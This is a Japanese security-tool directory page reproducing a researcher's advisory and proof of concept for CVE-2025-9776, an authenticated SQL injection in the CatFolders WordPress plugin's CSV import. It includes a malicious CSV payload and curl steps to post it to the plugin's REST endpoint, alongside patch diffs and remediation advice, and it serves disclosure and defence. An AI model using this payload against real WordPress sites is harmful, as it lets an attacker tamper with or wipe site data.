Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/snailsploit/cve-2025-9776
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress プラグイン: CSVインポート経由の認証済みSQLインジェクション | POC + 解説

リポジトリを見る
134ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-9776: CatFolders WordPressプラグインにおける認証済みSQLインジェクション

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

キーワード: CVE-2025-9776, CatFolders WordPressの脆弱性, SQLインジェクション WordPress, 認証済みSQLインジェクション, WordPressセキュリティ, CSVインポートの脆弱性, WordPressプラグインの悪用, CWE-89, WordPressデータベース攻撃, メディアライブラリの脆弱性, WordPress CVE 2025

目次

  • 概要
  • 脆弱性の詳細
  • 技術分析
  • 概念実証
  • 修復ガイド
CVSSメトリクス
  • 参考情報
  • セキュリティ連絡先
  • 概要

    CatFolders WordPressプラグインに、Authorレベルのユーザーが悪意のあるCSVインポートを通じてデータベースクエリを操作できる認証済みSQLインジェクションの脆弱性が発見されました。

    発見者: Kai Aizen (SnailSploit)
    公開日: 2025年
    CVSSスコア: 6.5(中)
    CWE: CWE-89 - SQLインジェクション

    脆弱性の詳細

    説明

    CatFolders – Tame Your WordPress Media Library by Category には、CSVインポート機能に認証済みSQLインジェクションの脆弱性が存在します。ユーザーが指定したCSVの attachments 列はリストに分割され、そのまま FolderModel::set_attachments() に渡されます。このメソッドは、適切なサニタイズやパラメータ化を行わずに、それらの値を生のSQLの IN (...) 句に連結します。

    影響

    この脆弱性により、Authorレベルの権限を持つ認証済み攻撃者は以下を実行できます:

    • 任意のSQLクエリの実行
    • フォルダーと添付ファイルのマッピングの一括削除または操作
    • ペイロードとデータベース構造によってはデータ漏えいの可能性
    • データベースの整合性と可用性の侵害

    影響を受けるバージョン

    • 脆弱なバージョン: すべてのバージョン ≤ 2.5.2
    • 修正済みバージョン: バージョン2.5.3以上(ベンダーに確認済み)

    CVSS v3.1メトリクス

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
    
    メトリクス値
    攻撃元ネットワーク (AV:N)
    攻撃条件の複雑さ低 (AC:L)
    必要な権限低 (PR:L) - Author以上
    ユーザー操作不要 (UI:N)
    影響範囲変更なし (S:U)
    機密性への影響なし (C:N)
    完全性への影響低 (I:L)
    可用性への影響低 (A:L)

    技術詳細

    脆弱なコードパス

    この脆弱性はCSVインポートのワークフローに存在します:

    ファイル: includes/Rest/Controllers/ImportController.php

    1. import_csv メソッドは、フィールドごとのサニタイズなしでアップロードされたCSVを解析します
    2. restore_folders() が以下を呼び出します:
    root@kitploit:~
    FolderModel::set_attachments( 
        $new_folder['id'], 
        explode(',', $folder['attachments']), 
        false 
    );
    

    ファイル: includes/Models/FolderModel.php

    1. set_attachments() は文字列連結を使用して生のSQLを構築します:
    root@kitploit:~
    'raw' => 'post_id IN (' . $attachmentIds . ')'
    
    1. 各要素は整数にキャストもパラメータ化もされておらず、SQLインジェクションが可能です

    攻撃経路

    Authorレベルの権限(upload_files 権限)を持つ攻撃者は、CSVインポートエンドポイントを通じて悪意のあるSQLを注入できます:

    悪意のあるCSVペイロード:

    root@kitploit:~
    id,name,attachments
    1,Test Folder,"1) OR 1=1--"
    

    その結果生成される脆弱なクエリ:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts 
    WHERE post_id IN (1) OR 1=1--)
    

    これにより IN(...) 句を飛び出してクエリの意味を変更し、すべての行に影響を及ぼす可能性があります。

    前提条件

    • 対象のWordPressサイトでAuthorレベル(またはそれ以上)のアカウントを持つこと
    • CatFoldersプラグインがインストールされ、有効化されていること
    • REST APIのインポートエンドポイントにアクセスできること

    概念実証

    ステップ1: REST名前空間を特定する

    root@kitploit:~
    curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
    

    一般的な結果: /catf/v1/import-csv

    ステップ2: 悪意のあるCSVを準備する

    catf_inject.csv という名前のファイルを作成します:

    root@kitploit:~
    id,name,attachments
    1,Malicious Folder,"1) OR 1=1--"
    

    ステップ3: 攻撃を実行する

    root@kitploit:~
    NS="/catf/v1"  # 特定した名前空間に置き換えてください
    
    curl -i \
      -u 'author_user:APPLICATION_PASSWORD' \
      -F "file=@catf_inject.csv;type=text/csv" \
      -X POST "https://target.site/wp-json${NS}/import-csv"
    

    期待される応答:

    root@kitploit:~
    { "success": true }
    

    影響の実証

    サーバーは以下のクエリを構築・実行します:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
    

    これにより、意図したよりも広範囲のDELETE/INSERT操作が実行され、データベース全体のフォルダーと添付ファイルの関連付けが消去される可能性があります。

    安全なテスト環境

    スタンドアロンのSQLiteシミュレーションを実行して、この脆弱性を安全に観察できます:

    root@kitploit:~
    python3 poc/catfolders_sql_poc.py
    

    このスクリプトは脆弱なクエリを表示し、悪意のあるトークンがすべての行を返す一方、パラメータ化されたバージョンがそれを適切に拒否することを実証します。

    修復

    サイト管理者向け

    直ちに必要な対応:

    1. CatFoldersをバージョン 2.5.3 以降に更新する
    2. Authorレベル以上の権限を持つユーザーアカウントを確認する
    3. 影響を受けた期間中に疑わしいクエリがないかデータベースログを監査する
    4. フォルダーと添付ファイルのマッピングに予期しない変更がないか確認する

    開発者向け

    最小限の強化ステップ2つ:

    1. モデルを呼び出す前にIDをサニタイズする

    root@kitploit:~
    - FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
    + $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
    + if ( ! empty( $ids ) ) {
    +     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
    + }
    

    2. set_attachments() 内で整数を強制する

    root@kitploit:~
      $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
    + $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
    

    より強力な推奨事項

    すべての生のSQL連結を、WordPressの $wpdb->prepare() を使用したパラメータ化クエリに置き換えます:

    root@kitploit:~
    $placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
    $query = $wpdb->prepare(
        "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
        ...$imgIds
    );
    

    さらに:

    • 処理前にすべてのCSVフィールドを厳密に検証する
    • APIレイヤーで入力タイプの検証を実装する
    • インポートエンドポイントにレート制限を追加する
    • 監査証跡のためにすべてのインポート操作をログに記録する

    パッチファイル

    完全なパッチは patch/catfolders_fix.patch にあります

    リポジトリ構成

    root@kitploit:~
    CVE-2025-9776/
    ├── README.md                    # このファイル
    ├── poc/
    │   ├── catf_inject.csv         # 悪意のあるCSVペイロード
    │   └── catfolders_sql_poc.py   # 安全なSQLiteシミュレーション
    └── patch/
        └── catfolders_fix.patch    # 推奨される修正
    

    タイムライン

    • 発見日: 2025年
    • ベンダー通知: Wordfenceを通じた協調的開示
    • 一般公開: 2025年
    • パッチ提供: バージョン2.5.3

    参考情報

    • MITRE CVEエントリ
    • Wordfence Intelligence アドバイザリ
    • WordPressプラグインディレクトリ
    • SnailSploitリサーチ

    クレジット

    研究者: Kai Aizen (SnailSploit)

    開示プロセス: Wordfenceバグ報奨金プログラムを通じた協調的開示

    倫理的考慮事項

    ⚠️ 重要な免責事項

    この概念実証は、防御的な研究および教育目的専用に提供されています。

    使用ガイドライン

    • ✅ 対象: 自分のシステムまたは明示的な書面による許可を得た場合にテストする
    • ✅ 対象: セキュリティトレーニングと意識向上に使用する
    • ✅ 対象: 自分のコードに修正を実装する
    • ❌ 禁止: 許可なくシステムに対してテストする
    • ❌ 禁止: 悪意のある目的で使用する
    • ❌ 禁止: 本番環境で悪用する

    法的通知

    コンピュータシステムへの不正アクセスは、以下の法律を含む法律で禁止されています:

    • コンピュータ詐欺および悪用取締法(CFAA) - 米国
    • コンピュータ不正使用法 - 英国
    • その他の法域の同様の法律

    自己責任で使用してください。研究者およびSnailSploitは、この情報の悪用について一切の責任を負いません。

    連絡先

    この脆弱性に関する質問や追加情報については:

    • メール: [email protected]
    • LinkedIn: linkedin.com/in/kaiaizen
    • ウェブサイト: snailsploit.com
    • 組織: SnailSploit Security Research

    セキュリティを維持し、WordPressインストールを常に最新の状態に保ってください!

    最終更新日: 2025年10月13日


    📚 ドキュメントと著者

    このプロジェクトの完全なライトアップ、方法論、および関連する研究は以下にあります:

    https://snailsploit.com/security-research/cves/cve-2025-9776/

    作成者: Kai Aizen — 独立系攻撃的セキュリティ研究者。

    snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

    同じ攻撃。異なる基盤。

    ツールをダウンロード